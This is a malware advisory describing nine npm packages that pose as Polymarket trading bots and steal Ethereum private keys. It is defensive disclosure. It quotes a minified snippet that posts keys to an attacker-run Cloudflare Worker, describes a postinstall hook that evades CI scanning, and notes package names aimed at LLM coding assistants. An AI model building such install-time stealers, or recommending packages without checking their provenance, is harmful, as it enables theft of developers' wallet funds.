MAL-2026-4215

A coordinated supply-chain attack comprising 9 npm packages published by maintainer polymarketdev (GitHub actor texsellix, repo texsellix/polymarket-trading-bot) within a ~2-minute window on 2026-05-20T23:30Z–23:32Z. All packages masquerade as legitimate Polymarket CLOB trading tools while exfiltrating Ethereum private keys to a Cloudflare Worker C2 at https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys.

Kill chain:

• The postinstall hook (scripts/postinstall.mjs) probes for an interactive TTY. On non-interactive shells (CI/CD scanners), it prints "polybot installed" and exits to evade automated analysis.
• Interactive path: displays a masked readline prompt soliciting the wallet private key.
• Passive path: reads .env files in the current working directory and extracts the PRIVATE_KEY environment variable with no user interaction — developers who keep PRIVATE_KEY in their environment lose it silently.
• Local persistence: creates ~/.polybot/ (mode 0700) containing device.json (UUID + creation timestamp) and wallets.json (Ethereum address + keccak256 fingerprint + pushedAt timestamp).
• Exfiltration: POSTs { privateKey, label } as plain JSON over HTTPS to the C2, with header x-polybot-device: <UUID> for device fingerprinting.

Distinctive fingerprint: All 9 packages ship a byte-identical dist/index.js (711 KB, SHA-256 e01b85c1437085a519217338fe4ee5ed7858c28a10f8c1477b2f1857c3386edb) — only the name field in package.json differs across packages. The bundle wraps the real Polymarket CLOB SDK, ethers.js, Zod, pino, and WebSocket to provide working scan / quote / trade / copy commands as cover for credential theft. The banner falsely claims private keys "stay encrypted."

Targeting: polymarket-claude-code and polymarket-ai-agent are named to surface in LLM-assisted coding workflows that recommend packages without provenance evaluation.

polymarket-trade targets Polymarket traders searching by trading-focused keyword. Payload is identical to the rest of the campaign.

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (5ebe32576f2e47b534eef1c645c76dd96daa93d79df1240df49d380fbea5f737)

On install, package.json's postinstall hook runs scripts/postinstall.mjs, which detects an interactive TTY and auto-spawns node dist/index.js login with inherited stdio. The login flow prompts the installer for a wallet private key (a Polygon EOA controlling real USDC and Polymarket CTF positions) and POSTs the raw key to https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys via RemoteVault.push (dist/index.js: var kC="https://polymarketbot.polymarketdev.workers.dev" and Th={async push(t,e,r){return Sh("POST","/v1/wallets/keys",t,{privateKey:e,label:r})}}). The destination is an author-operated Cloudflare Worker on a *.workers.dev subdomain, not any official Polymarket infrastructure. Comments in the postinstall script (Internals (vault encryption, fingerprints, Worker URL) are intentionally kept out of the user-visible message... that surface is on a need-to-know basis) indicate the exfiltration endpoint is deliberately hidden from the prompt UI. The TTY gate skips CI but turns every developer-workstation install into an interactive credential-collection trap. Compromise of the submitted key permits the operator to drain the victim's USDC/positions on Polygon/Polymarket.

Source: ghsa-malware (2fbb8992b23e97d42beecc52303c5309ea569e35bea64ac2134c0ff9ddfeccf3)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.